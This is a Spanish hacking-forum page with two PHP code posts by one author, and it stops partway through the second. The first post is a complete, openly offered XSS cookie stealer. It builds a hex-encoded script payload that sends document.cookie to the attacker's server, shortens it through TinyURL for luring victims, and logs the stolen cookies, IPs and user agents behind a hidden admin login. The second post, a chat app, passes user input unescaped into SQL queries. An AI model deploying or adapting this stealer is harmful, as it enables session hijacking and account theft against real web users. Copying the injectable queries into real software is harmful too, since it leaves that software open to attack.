elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


  Mostrar Mensajes
Páginas: 1 2 3 4 [5] 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ... 55
41  Programación / PHP / [PHP] Cookies Manager 0.6 en: 18 Diciembre 2015, 21:41 pm
Hoy les traigo una version mejorada de este cookie stealer que les permite capturar,guardar y generar cookies para el robo de cookies usando XSS.

Tiene las siguientes opciones :

  • Cookie Stealer con generador de TinyURL
  • Pueden ver los cookies que les devuelve una pagina
  • Pueden crear cookies con los datos que quieran
  • Panel oculto con login para entrar usen ?poraca para encontrar al login

Una imagen :



Los codigos :

index.php

Código
  1. <?php
  2.  
  3. // Cookies Manager 0.6
  4. // (C) Doddy Hackman 2015
  5.  
  6. // Login
  7.  
  8. $username = "admin"; // Edit
  9. $password = "21232f297a57a5a743894a0e4a801fc3"; // Edit
  10.  
  11. //
  12.  
  13. $index = "imagen.php"; // Edit
  14.  
  15. if (isset($_GET['poraca'])) {
  16.  
  17.    echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  18. <html xmlns="http://www.w3.org/1999/xhtml">
  19.   <head>
  20.      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  21.      <title>Login</title>
  22.      <link rel="shortcut icon" href="images/icono.png">
  23.      <link href="style.css" rel="stylesheet" type="text/css" />
  24.   </head>
  25.   <body>
  26.      <center><br>
  27.         <div class="post">
  28.            <h3>Login</h3>
  29.            <div class="post_body">
  30.               <img src="images/login.jpg" width="562" height="440" />
  31.               <br />
  32.               <form action="" method=POST>
  33.                  Username : <input type=text size=30 name=username /><br /><br />
  34.                  Password : <input type=password size=30 name=password /><br /><br />
  35.                  <input type=submit name=login style="width: 100px;" value=Login /><br /><br />
  36.               </form>
  37.            </div>
  38.         </div>
  39.      </center>
  40.   </body>
  41. </html>';
  42.  
  43.    if (isset($_POST['login'])) {
  44.  
  45.        $test_username = $_POST['username'];
  46.        $test_password = md5($_POST['password']);
  47.  
  48.        if ($test_username == $username && $test_password == $password) {
  49.            setcookie("login", base64_encode($test_username . "@" . $test_password));
  50.            echo "<script>alert('Welcome idiot');</script>";
  51.            $ruta = "http://" . $_SERVER['HTTP_HOST'] . dirname($_SERVER['PHP_SELF']) . "/" . $index;
  52.            echo '<meta http-equiv="refresh" content="0; url=' . htmlentities($ruta) . '" />';
  53.        } else {
  54.            echo "<script>alert('Fuck You');</script>";
  55.        }
  56.    }
  57.  
  58. } else {
  59.    echo '<meta http-equiv="refresh" content="0; url=http://www.petardas.com" />';
  60. }
  61.  
  62. // The End ?
  63.  
  64. ?>
  65.  

imagen.php

Código
  1. <?php
  2.  
  3. // Cookies Manager 0.6
  4. // (C) Doddy Hackman 2015
  5.  
  6. // Login
  7.  
  8. $username = "admin"; // Edit
  9. $password = "21232f297a57a5a743894a0e4a801fc3"; // Edit
  10.  
  11. // DB
  12.  
  13. $host  = "localhost"; // Edit
  14. $userw = "root"; // Edit
  15. $passw = ""; // Edit
  16. $db    = "cookies"; // Edit
  17.  
  18. // Functions
  19.  
  20. function hex_encode($text)
  21. {
  22.    $texto = chunk_split(bin2hex($text), 2, '%');
  23.    return $texto = '%' . substr($texto, 0, strlen($texto) - 1);
  24. }
  25.  
  26. function parsear_cookie($leyendo)
  27. {
  28.  
  29.    $leyendo   = str_replace("comment=", "", $leyendo);
  30.    $leyendo   = str_replace("Set-Cookie: ", "", $leyendo);
  31.    $contenido = explode(";", $leyendo);
  32.  
  33.    $nombre       = "";
  34.    $valor_cookie = "";
  35.    $expires      = "";
  36.    $path         = "";
  37.    $domain       = "";
  38.    $secure       = "false";
  39.    $httponly     = "false";
  40.  
  41.    foreach ($contenido as $valor) {
  42.  
  43.        if (preg_match("/expires=(.*)/", $valor, $regex)) {
  44.            $expires = $regex[1];
  45.        }
  46.  
  47.        elseif (preg_match("/path=(.*)/", $valor, $regex)) {
  48.            $path = $regex[1];
  49.        } elseif (preg_match("/domain=(.*)/", $valor, $regex)) {
  50.            $domain = $regex[1];
  51.        } elseif (preg_match("/secure=(.*)/", $valor, $regex)) {
  52.            $secure = $regex[1];
  53.        } elseif (preg_match("/httponly=(.*)/", $valor, $regex)) {
  54.            $httponly = $regex[1];
  55.        }
  56.  
  57.        else {
  58.  
  59.            if (preg_match("/(.*)=(.*)/", $valor, $regex)) {
  60.                $nombre       = $regex[1];
  61.                $valor_cookie = $regex[2];
  62.            }
  63.  
  64.        }
  65.  
  66.    }
  67.  
  68.    return array(
  69.        $nombre,
  70.        $valor_cookie,
  71.        $expires,
  72.        $path,
  73.        $domain,
  74.        $secure,
  75.        $httponly
  76.    );
  77.  
  78. }
  79.  
  80. function ver_cookies_de_pagina($pagina)
  81. {
  82.    $cookies = "";
  83.    if (!function_exists('curl_exec')) {
  84.        $options = array(
  85.            'http' => array(
  86.                'user_agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'
  87.            )
  88.        );
  89.        $context = stream_context_create($options);
  90.        file_get_contents($pagina);
  91.        foreach ($http_response_header as $valores) {
  92.            if (preg_match("/Set-Cookie/", $valores)) {
  93.                $valores = str_replace("Set-Cookie:", "", $valores);
  94.                $cookies = $cookies . trim($valores) . "\n";
  95.            }
  96.        }
  97.    } else {
  98.        $nave = curl_init($pagina);
  99.        curl_setopt($nave, CURLOPT_TIMEOUT, 5);
  100.        curl_setopt($nave, CURLOPT_RETURNTRANSFER, 1);
  101.        curl_setopt($nave, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
  102.        curl_setopt($nave, CURLOPT_HEADER, 1);
  103.        curl_setopt($nave, CURLOPT_NOBODY, 1);
  104.        $contenido = curl_exec($nave);
  105.        curl_close($nave);
  106.        $leyendo = explode("\n", trim($contenido));
  107.  
  108.        foreach ($leyendo as $valores) {
  109.            if (preg_match("/Set-Cookie/", $valores)) {
  110.                $valores = str_replace("Set-Cookie:", "", $valores);
  111.                $cookies = $cookies . trim($valores) . "\n";
  112.            }
  113.        }
  114.    }
  115.    return $cookies;
  116. }
  117.  
  118. function toma($target)
  119. {
  120.    $code = "";
  121.    if (function_exists('curl_exec')) {
  122.        $nave = curl_init($target);
  123.        curl_setopt($nave, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0');
  124.        curl_setopt($nave, CURLOPT_TIMEOUT, 5);
  125.        curl_setopt($nave, CURLOPT_RETURNTRANSFER, true);
  126.        $code = curl_exec($nave);
  127.    } else {
  128.        $options = array(
  129.            'http' => array(
  130.                'user_agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'
  131.            )
  132.        );
  133.        $context = stream_context_create($options);
  134.        $code    = file_get_contents($target);
  135.    }
  136.    return $code;
  137. }
  138.  
  139. //
  140.  
  141.  
  142. mysql_connect($host, $userw, $passw);
  143.  
  144. if (isset($_GET['id'])) {
  145.  
  146.    if (empty($_GET['id'])) {
  147.        error();
  148.    }
  149.  
  150.    $dia = mysql_real_escape_string(date("d.m.Y"));
  151.    $ip  = mysql_real_escape_string($_SERVER["REMOTE_ADDR"]);
  152.  
  153.    if ($ip == "::1") {
  154.        $ip = "127.0.0.1";
  155.    }
  156.  
  157.    $info = mysql_real_escape_string($_SERVER["HTTP_USER_AGENT"]);
  158.    $ref  = mysql_real_escape_string($_SERVER["HTTP_REFERER"]);
  159.  
  160.    $cookie = mysql_real_escape_string($_GET['id']);
  161.  
  162.    mysql_query("INSERT INTO cookies_found(id,fecha,ip,info,cookie) values(NULL,'$dia','$ip','$info','$cookie')");
  163.  
  164.    header("Location:http://www.google.com.ar");
  165.  
  166. }
  167.  
  168. elseif (isset($_COOKIE['login'])) {
  169.  
  170.    $st = base64_decode($_COOKIE['login']);
  171.  
  172.    $plit = explode("@", $st);
  173.    $user = $plit[0];
  174.    $pass = $plit[1];
  175.  
  176.    if ($user == $username and $pass == $password) {
  177.  
  178.        echo '
  179. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  180. <html xmlns="http://www.w3.org/1999/xhtml">
  181.   <head>
  182.      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  183.      <title>Cookies Manager 0.6</title>
  184.      <link href="style.css" rel="stylesheet" type="text/css" />
  185.      <link rel="shortcut icon" href="images/icono.png">
  186.   </head>
  187.   <body>
  188.   <center>';
  189.  
  190.        echo '<br><img src="images/cookies.png" /><br>';
  191.  
  192.        if (isset($_POST['makecookies'])) {
  193.  
  194.            if (setcookie($_POST['name_cookie'], $_POST['value_cookie'], time() + 7200, $_POST['path_cookie'], $_POST['domain_cookie'])) {
  195.                echo "<script>alert('Cookie maked');</script>";
  196.            } else {
  197.                echo "<script>alert('Error making Cookie');</script>";
  198.            }
  199.        }
  200.  
  201.        $edit_name       = "";
  202.        $edit_value      = "";
  203.        $edit_expire     = "";
  204.        $edit_path       = "";
  205.        $edit_domain     = "";
  206.        $edit_secure     = "";
  207.        $edit_httponline = "";
  208.  
  209.        if (isset($_POST['instalar'])) {
  210.  
  211.            $cookies_found = "create table cookies_found (
  212. id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  213. fecha TEXT NOT NULL,
  214. ip TEXT NOT NULL,
  215. info TEXT NOT NULL,
  216. cookie TEXT NOT NULL,
  217. PRIMARY KEY (id));
  218. ";
  219.  
  220.            if (mysql_query($cookies_found)) {
  221.                echo "<script>alert('Installed');</script>";
  222.            } else {
  223.                echo "<script>alert('Error');</script>";
  224.            }
  225.        }
  226.  
  227.        if (mysql_num_rows(mysql_query("show tables like 'cookies_found'"))) {
  228.  
  229.            //
  230.  
  231.            if (isset($_GET['del'])) {
  232.                if (is_numeric($_GET['del'])) {
  233.                    if (@mysql_query("delete from cookies_found where id='" . $_GET['del'] . "'")) {
  234.                        echo "<script>alert('Cookie deleted');</script>";
  235.                    } else {
  236.                        echo "<script>alert('Error');</script>";
  237.                    }
  238.                }
  239.            }
  240.  
  241.            // Cookies Found
  242.  
  243.  
  244.            $re  = mysql_query("select * from cookies_found order by id ASC");
  245.            $con = mysql_num_rows($re);
  246.            echo '
  247.            <div class="post">
  248.                <h3>Cookies Found : ' . $con . '</h3>
  249.                   <div class="post_body"><br>';
  250.  
  251.            if ($con <= 0) {
  252.                echo '<b>No cookies found</b><br>';
  253.            } else {
  254.  
  255.                echo '<table>';
  256.                echo "<td><b>ID</b></td><td><b>Date</b></td><td><b>IP</b></td><td><b>Data</b></td><td><b>Cookie</b></td><td><b>Name</b></td><td><b>Value</b></td><td><b>Option</b></td><tr>";
  257.  
  258.                while ($ver = mysql_fetch_array($re)) {
  259.                    $cookies_view = $ver[4];
  260.                    list($nombre, $valor_cookie, $expires, $path, $domain, $secure, $httponly) = parsear_cookie($cookies_view);
  261.  
  262.                    echo "<td>" . htmlentities($ver[0]) . "</td><td>" . htmlentities($ver[1]) . "</td><td>" . htmlentities($ver[2]) . "</td><td>" . htmlentities($ver[3]) . "</td>";
  263.                    echo "<td>" . htmlentities($cookies_view) . "</td><td>" . htmlentities($nombre) . "</td><td>" . htmlentities($valor_cookie) . "</td><td><a href=?del=" . htmlentities($ver[0]) . ">Delete</a></td><tr>";
  264.  
  265.                }
  266.                echo "</table>";
  267.  
  268.            }
  269.  
  270.            echo '               <br></div>
  271.            </div>';
  272.  
  273.            //
  274.  
  275.            // Form para target
  276.  
  277.            echo '
  278.            <div class="post">
  279.                <h3>Enter Target</h3>
  280.                   <div class="post_body"><br>';
  281.  
  282.            echo "
  283. <form action='' method=POST>
  284. <b>Link : </b><input type=text size=40 name=target value='http://localhost/dhlabs/xss/index.php?msg='=></td><tr>
  285. <input type=submit name=getcookies style='height: 25px; width: 100px' value='Get Cookies'> <input type=submit name=generateurl style='height: 25px; width: 100px' value=Generate URL></td>
  286. </form>
  287.  
  288. ";
  289.  
  290.            echo '               <br></div>
  291.            </div>';
  292.  
  293.            // URLS
  294.  
  295.            if (isset($_POST['generateurl'])) {
  296.  
  297.                echo '
  298.            <div class="post">
  299.                <h3>Console</h3>
  300.                   <div class="post_body"><br>';
  301.  
  302.                echo "<textarea cols=50 name=code readonly>\n";
  303.                $script         = hex_encode("<script>document.location='http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?id='+document.cookie;</script>");
  304.                //echo "http://tinyurl.com/api-create.php?url=".$_POST['target'].$script."\n";
  305.                $resultado_code = toma("http://tinyurl.com/api-create.php?url=" . $_POST['target'] . $script);
  306.                echo htmlentities($resultado_code);
  307.                echo "\n</textarea></table>";
  308.  
  309.                echo '               <br><br></div>
  310.            </div>';
  311.  
  312.            }
  313.            //
  314.  
  315.            // Get Cookies
  316.  
  317.            if (isset($_POST['getcookies'])) {
  318.  
  319.                echo '
  320.            <div class="post">
  321.                <h3>Console</h3>
  322.                   <div class="post_body"><br>';
  323.  
  324.                echo "<textarea cols=50 rows=10 name=code readonly>\n";
  325.                $resultado_code = ver_cookies_de_pagina($_POST['target']);
  326.                echo htmlentities($resultado_code);
  327.                echo "\n</textarea>";
  328.  
  329.                echo '               <br><br></div>
  330.            </div>';
  331.  
  332.                $leyendo_esto = split("\n", $resultado_code);
  333.  
  334.                list($nombre, $valor_cookie, $expires, $path, $domain, $secure, $httponly) = parsear_cookie($leyendo_esto[0]);
  335.  
  336.                $edit_name       = $nombre;
  337.                $edit_value      = $valor_cookie;
  338.                $edit_expire     = $expires;
  339.                $edit_path       = $path;
  340.                $edit_domain     = $domain;
  341.                $edit_secure     = $secure;
  342.                $edit_httponline = $httponly;
  343.  
  344.            }
  345.  
  346.            //
  347.  
  348.            // Form para crear cookies
  349.  
  350.  
  351.            echo '
  352.            <div class="post">
  353.                <h3>Cookie Maker</h3>
  354.                   <div class="post_body"><br>';
  355.  
  356.            echo "
  357. <form action='' method=POST>
  358. <b>Name : </b><input type=text size=50 name=name_cookie value='$edit_name'><br><br>
  359. <b>Value : </b><input type=text size=50 name=value_cookie value='$edit_value'><br><br>
  360. <b>Expires : </b><input type=text size=50 name=expire_cookie value='$edit_expire'><br><br>
  361. <b>Path : </b><input type=text size=50 name=path_cookie value='$edit_path'><br><br>
  362. <b>Domain : </b><input type=text size=50 name=domain_cookie value='$edit_domain'><br><br>
  363. <b>Secure : </b><input type=text size=50 name=secure_cookie value='$edit_secure'><br><br>
  364. <b>HTTP Online : </b><input type=text size=50 name=httponline_cookie value='$edit_httponline'><br><br>
  365. <input type=submit name=makecookies style='height: 25px; width: 200px' value='Make Cookie'>
  366. </form>";
  367.  
  368.            echo '                <br></div>
  369.            </div>';
  370.  
  371.        } else {
  372.  
  373.            echo '
  374.            <div class="post">
  375.                <h3>Installer</h3>
  376.                   <div class="post_body">';
  377.            echo "
  378. <form action='' method=POST>
  379. <h2>Do you want install Cookies Manager ?</h2><br>
  380. <input type=submit name=instalar value=Install>
  381. </form><br>";
  382.  
  383.            echo '                </div>
  384.            </div>';
  385.        }
  386.  
  387.        echo '  
  388.        <br><h3>(C) Doddy Hackman 2015</h3><br>
  389.        </center>
  390.        </body>
  391. </html>';
  392.  
  393.    } else {
  394.        echo "<script>alert('Fuck You');</script>";
  395.    }
  396. } else {
  397.    echo '<meta http-equiv="refresh" content="0; url=http://www.petardas.com" />';
  398. }
  399.  
  400. // The End ?
  401.  
  402. ?>
  403.  

style.css

Código
  1. /*
  2.  
  3. ==-----------------------------------==
  4. || Name : DH Theme                   ||
  5. || Version : 0.8                     ||  
  6. || Author : Doddy H                  ||
  7. || Description: Templante            ||
  8. || Date : 14/1/2015                  ||
  9. ==-----------------------------------==
  10.  
  11. */
  12.  
  13. body {
  14. background:transparent url("images/fondo.jpg") repeat scroll 0 0;
  15. color:gray;
  16. font-family:helvetica,arial,sans-serif;
  17. font-size:14px;
  18. text-align:center;
  19. }
  20.  
  21. a:link {
  22. text-decoration:none;
  23. color:orange;
  24. }
  25. a:visited {
  26. color:orange;
  27. }
  28. a:hover {
  29. color:orange;
  30. }
  31.  
  32. td,tr {
  33. border-style:solid;
  34. border-color: gray;
  35. border-width: 1px;
  36. background: black;
  37. border: solid #222 2px;
  38. color:gray;
  39. font-family:helvetica,arial,sans-serif;
  40. font-size:14px;
  41. text-align:center;
  42. }
  43.  
  44. textarea {
  45. font: normal 10px Verdana, Arial, Helvetica,sans-serif;
  46. background-color:black;
  47. color:gray;
  48. border: solid #222 2px;
  49. border-color:gray
  50. }
  51.  
  52. input {
  53. border-style:solid;
  54. border-color: gray;
  55. border-width: 1px;
  56. background: black;
  57. border: solid #222 2px;
  58. color:gray;
  59. font-family:helvetica,arial,sans-serif;
  60. font-size:14px;
  61. }
  62.  
  63. .post {
  64. background-color:black;
  65. color:gray;
  66. margin-bottom:10px;
  67. width:600px;
  68. word-wrap: break-word;
  69. }
  70.  
  71. .post h3 {
  72. background-color:black;
  73. color:orange;
  74. background-color:#000;
  75. border: solid #222 2px;
  76. -webkit-border-radius: 4px;
  77. -moz-border-radius: 4px;
  78. border-radius: 4px;
  79. padding:5px 10px;
  80. }
  81.  
  82. .post_body {
  83. background-color:black;
  84. margin:-20px 0 0 0;
  85. color:white;
  86. background-color:#000;
  87. border: solid #222 2px;
  88. -webkit-border-radius: 4px;
  89. -moz-border-radius: 4px;
  90. border-radius: 4px;
  91. padding:5px 10px;
  92. }
  93.  
  94. /* The End ? */
  95.  

Un video con ejemplo de usos :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.
42  Programación / PHP / [PHP] DH Chat 0.5 en: 4 Diciembre 2015, 16:23 pm
Un simple chat que hice en PHP que tiene las siguientes opciones :

  • Solo permite 10 mensajes por lo que borra por antiguedad
  • Filtra malas palabras
  • Se pueden borrar comentarios desde el administrador

Una imagen :



Los codigos :

index.php

Código
  1. <?php
  2.  
  3. // DH Chat 0.5
  4. // (C) Doddy Hackman 2015
  5.  
  6. // Login
  7.  
  8. $username = "admin"; // Edit
  9. $password = "21232f297a57a5a743894a0e4a801fc3"; // Edit
  10.  
  11. //
  12.  
  13. $index = "admin.php"; // Edit
  14.  
  15. if (isset($_GET['poraca'])) {
  16.  
  17.    echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  18. <html xmlns="http://www.w3.org/1999/xhtml">
  19.   <head>
  20.      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  21.      <title>Login</title>
  22.      <link rel="shortcut icon" href="images/icono.png">
  23.      <link href="style.css" rel="stylesheet" type="text/css" />
  24.   </head>
  25.   <body>
  26.      <center><br>
  27.         <div class="post">
  28.            <h3>Login</h3>
  29.            <div class="post_body">
  30.               <img src="images/login.jpg" width="562" height="440" />
  31.               <br />
  32.               <form action="" method=POST>
  33.                  Username : <input type=text size=30 name=username /><br /><br />
  34.                  Password : <input type=password size=30 name=password /><br /><br />
  35.                  <input type=submit name=login style="width: 100px;" value=Login /><br /><br />
  36.               </form>
  37.            </div>
  38.         </div>
  39.      </center>
  40.   </body>
  41. </html>';
  42.  
  43.    if (isset($_POST['login'])) {
  44.  
  45.        $test_username = $_POST['username'];
  46.        $test_password = md5($_POST['password']);
  47.  
  48.        if ($test_username == $username && $test_password == $password) {
  49.            setcookie("login", base64_encode($test_username . "@" . $test_password));
  50.            echo "<script>alert('Welcome idiot');</script>";
  51.            $ruta = "http://" . $_SERVER['HTTP_HOST'] . dirname($_SERVER['PHP_SELF']) . "/" . $index;
  52.            echo '<meta http-equiv="refresh" content="0; url=' . htmlentities($ruta) . '" />';
  53.        } else {
  54.            echo "<script>alert('Fuck You');</script>";
  55.        }
  56.    }
  57.  
  58. } else {
  59.    echo '<meta http-equiv="refresh" content="0; url=http://www.petardas.com" />';
  60. }
  61.  
  62. // The End ?
  63.  
  64. ?>
  65.  

admin.php

Código
  1. <?php
  2.  
  3. // DH Chat 0.5
  4. // (C) Doddy Hackman 2015
  5.  
  6.  
  7. // Login
  8.  
  9. $username = "admin"; // Edit
  10. $password = "21232f297a57a5a743894a0e4a801fc3"; // Edit
  11.  
  12. // DB
  13.  
  14. $host  = "localhost"; // Edit
  15. $userw = "root"; // Edit
  16. $passw = ""; // Edit
  17. $db    = "chat"; // Edit
  18.  
  19. if (isset($_COOKIE['login'])) {
  20.  
  21.    $st = base64_decode($_COOKIE['login']);
  22.  
  23.    $plit = explode("@", $st);
  24.    $user = $plit[0];
  25.    $pass = $plit[1];
  26.  
  27.    if ($user == $username and $pass == $password) {
  28.  
  29.        echo '
  30. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  31. <html xmlns="http://www.w3.org/1999/xhtml">
  32.   <head>
  33.      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  34.      <title>DH Chat 0.5</title>
  35.      <link rel="shortcut icon" href="images/icono.png">
  36.      <link href="style.css" rel="stylesheet" type="text/css" />
  37.   </head>
  38.   <body>
  39.   <center>
  40.   ';
  41.  
  42.        mysql_connect($host, $userw, $passw);
  43.        mysql_select_db($db);
  44.  
  45.        echo '         <br><img src="images/chat.png" /><br>';
  46.  
  47.        if (isset($_POST['instalar'])) {
  48.  
  49.            $todo = "create table mensajes (
  50. id_comentario int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  51. mensaje TEXT NOT NULL,
  52. apodo VARCHAR(255) NOT NULL,
  53. PRIMARY KEY (id_comentario));
  54. ";
  55.  
  56.            $todo2 = "create table insultos (
  57. id_insulto int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  58. mensaje TEXT NOT NULL,
  59. PRIMARY KEY (id_insulto));
  60. ";
  61.  
  62.            if (mysql_query($todo)) {
  63.                if (mysql_query($todo2)) {
  64.  
  65.                    $insultos = array(
  66.                        "lammer",
  67.                        "lamer",
  68.                        "maricon",
  69.                        "noob"
  70.                    );
  71.  
  72.                    foreach ($insultos as $con) {
  73.                        @mysql_query("INSERT INTO insultos(id_insulto,mensaje)values(NULL,'$con')");
  74.                    }
  75.  
  76.                    echo "<script>alert('Installed');</script>";
  77.                    echo '<meta http-equiv="refresh" content=0;URL=>';
  78.                }
  79.            } else {
  80.                echo "<script>alert('Error');</script>";
  81.            }
  82.        }
  83.  
  84.        if (mysql_num_rows(mysql_query("show tables like 'mensajes'"))) {
  85.  
  86.            //
  87.  
  88.            $re = mysql_query("select * from mensajes order by id_comentario ASC");
  89.  
  90.            if (isset($_GET['id'])) {
  91.                if (is_numeric($_GET['id'])) {
  92.                    if (@mysql_query("delete from mensajes where id_comentario='" . $_GET['id'] . "'")) {
  93.                        echo "<script>alert('Comment deleted');</script>";
  94.                    } else {
  95.                        echo "<script>alert('Error');</script>";
  96.                    }
  97.                }
  98.            }
  99.  
  100.            $sql       = "select id_comentario from mensajes";
  101.            $resultado = mysql_query($sql);
  102.            $cantidad  = mysql_num_rows($resultado);
  103.  
  104.            echo '
  105.            <div class="post">
  106.                <h3>Comments : ' . $cantidad . '</h3>
  107.                   <div class="post_body"><br>';
  108.            if ($cantidad <= 0) {
  109.                echo '<b>No entries found</b><br>';
  110.            } else {
  111.                echo "<table>";
  112.                echo "<td><b>ID</b></td><td><b>Nick</b></td><td><b>Text</b></td><td><b>Option</b></td><tr>";
  113.  
  114.                while ($ver = mysql_fetch_array($re)) {
  115.                    echo "<td>" . htmlentities($ver[0]) . "</td><td>" . htmlentities($ver[2]) . "</td><td>" . htmlentities($ver[1]) . "</td><td><a href=?id=" . htmlentities($ver[0]) . ">Delete</a></td><tr>";
  116.                }
  117.  
  118.                echo "</table>";
  119.  
  120.            }
  121.  
  122.            echo '                <br></div>
  123.            </div>';
  124.  
  125.            if (isset($_POST['new_word'])) {
  126.                $in = $_POST['word'];
  127.                if (@mysql_query("INSERT INTO insultos(id_insulto,mensaje)values(NULL,'$in')")) {
  128.                    echo "<script>alert('Word added');</script>";
  129.                } else {
  130.                    echo "<script>alert('Error');</script>";
  131.                }
  132.            }
  133.  
  134.            if (isset($_GET['del_word'])) {
  135.                if (is_numeric($_GET['del_word'])) {
  136.                    if (@mysql_query("delete from insultos where id_insulto='" . $_GET['del_word'] . "'")) {
  137.                        echo "<script>alert('Word deleted');</script>";
  138.                    } else {
  139.                        echo "<script>alert('Error');</script>";
  140.                    }
  141.                }
  142.            }
  143.  
  144.            echo '
  145.         <div class="post">
  146.            <h3>Block words</h3>
  147.            <div class="post_body"><br>
  148.            ';
  149.  
  150.            echo "
  151. <form action='' method=POST>
  152. <b>Word : </b><input type=text name=word>
  153. <input type=submit name=new_word style='width: 100px;' value=Add>
  154. </form>";
  155.  
  156.            echo '
  157.            <br>
  158.            </div>
  159.         </div>
  160.         ';
  161.  
  162.  
  163.            $sql       = "select id_insulto from insultos";
  164.            $resultado = mysql_query($sql);
  165.            $cantidad  = mysql_num_rows($resultado);
  166.  
  167.            echo '
  168.         <div class="post">
  169.            <h3>Words blocked : ' . $cantidad . '</h3>
  170.            <div class="post_body"><br>
  171.            ';
  172.  
  173.            $rea = mysql_query("select * from insultos order by id_insulto ASC");
  174.  
  175.            if ($cantidad <= 0) {
  176.                echo '<b>No entries found</b><br>';
  177.            } else {
  178.                echo "<table>";
  179.                echo "<td>ID</td><td>Word</td><td>Option</td><tr>";
  180.                while ($ver = mysql_fetch_array($rea)) {
  181.                    echo "<td>" . htmlentities($ver[0]) . "</td><td>" . htmlentities($ver[1]) . "</td><td><a href=?del_word=" . htmlentities($ver[0]) . ">Delete</a></td><tr>";
  182.                }
  183.  
  184.                echo "</table>";
  185.  
  186.            }
  187.  
  188.            echo '
  189.            <br>
  190.            </div>
  191.         </div>
  192.         ';
  193.  
  194.        } else {
  195.  
  196.            echo '
  197.            <div class="post">
  198.                <h3>Installer</h3>
  199.                   <div class="post_body">';
  200.  
  201.            echo "
  202. <form action='' method=POST>
  203. <h2>Do you want install DH Chat 0.5 ?</h2><br>
  204. <input type=submit name=instalar style='width: 100px;' value=Install>
  205. </form><br>";
  206.            echo '                </div>
  207.            </div>';
  208.        }
  209.  
  210.        echo '  
  211.   <br><h3>(C) Doddy Hackman 2015</h3><br>
  212.   </center>
  213.   </body>
  214. </html>';
  215.  
  216.        mysql_close();
  217.        exit(1);
  218.  
  219.    } else {
  220.        echo "<script>alert('Fuck You');</script>";
  221.    }
  222.  
  223. } else {
  224.    echo '<meta http-equiv="refresh" content="0; url=http://www.petardas.com" />';
  225. }
  226.  
  227. // The End ?
  228.  
  229. ?>
  230.  

style.css

Código
  1. /*
  2.  
  3. ==-----------------------------------==
  4. || Name : DH Theme                   ||
  5. || Version : 0.8                     ||  
  6. || Author : Doddy H                  ||
  7. || Description: Templante            ||
  8. || Date : 14/1/2015                  ||
  9. ==-----------------------------------==
  10.  
  11. */
  12.  
  13. body {
  14. background:transparent url("images/fondo.jpg") repeat scroll 0 0;
  15. color:gray;
  16. font-family:helvetica,arial,sans-serif;
  17. font-size:14px;
  18. text-align:center;
  19. }
  20.  
  21. a:link {
  22. text-decoration:none;
  23. color:orange;
  24. }
  25. a:visited {
  26. color:orange;
  27. }
  28. a:hover {
  29. color:orange;
  30. }
  31.  
  32. td,tr {
  33. border-style:solid;
  34. border-color: gray;
  35. border-width: 1px;
  36. background: black;
  37. border: solid #222 2px;
  38. color:gray;
  39. font-family:helvetica,arial,sans-serif;
  40. font-size:14px;
  41. text-align:center;
  42.  
  43. word-wrap: break-word;
  44. word-break:break-all;
  45. }
  46.  
  47. input {
  48. border-style:solid;
  49. border-color: gray;
  50. border-width: 1px;
  51. background: black;
  52. border: solid #222 2px;
  53. color:gray;
  54. font-family:helvetica,arial,sans-serif;
  55. font-size:14px;
  56. }
  57.  
  58. .post {
  59. background-color:black;
  60. color:gray;
  61. margin-bottom:10px;
  62. width:600px;
  63. word-wrap: break-word;
  64. }
  65.  
  66. .post h3 {
  67. background-color:black;
  68. color:orange;
  69. background-color:#000;
  70. border: solid #222 2px;
  71. -webkit-border-radius: 4px;
  72. -moz-border-radius: 4px;
  73. border-radius: 4px;
  74. padding:5px 10px;
  75. }
  76.  
  77. .post_body {
  78. background-color:black;
  79. margin:-20px 0 0 0;
  80. color:white;
  81. background-color:#000;
  82. border: solid #222 2px;
  83. -webkit-border-radius: 4px;
  84. -moz-border-radius: 4px;
  85. border-radius: 4px;
  86. padding:5px 10px;
  87. }
  88.  
  89. /* The End ? */
  90.  

chat.php

Código
  1. <?php
  2.  
  3. //DH Chat 0.5
  4. //(C) Doddy Hackman 2015
  5.  
  6. // DB
  7.  
  8. $host = "localhost"; // Edit
  9. $user = "root"; // Edit
  10. $pass = ""; // Edit
  11. $db   = "chat"; // Edit
  12.  
  13. //
  14.  
  15.  
  16. mysql_connect($host, $user, $pass);
  17.  
  18. echo '<link href="chat.css" rel="stylesheet" type="text/css" />';
  19.  
  20. echo "<table border=0 width='210' style='table-layout: fixed'>";
  21. echo "<td><b>DH Chat 0.5</b></td><tr>";
  22.  
  23.  
  24. $sumo = mysql_query("SELECT MAX(id_comentario) FROM mensajes");
  25.  
  26. $s = mysql_fetch_row($sumo);
  27.  
  28. foreach ($s as $d) {
  29.    $total = $d;
  30. }
  31.  
  32. $test = $total - 10;
  33.  
  34. if ($test <= 0) {
  35.    next;
  36. } else {
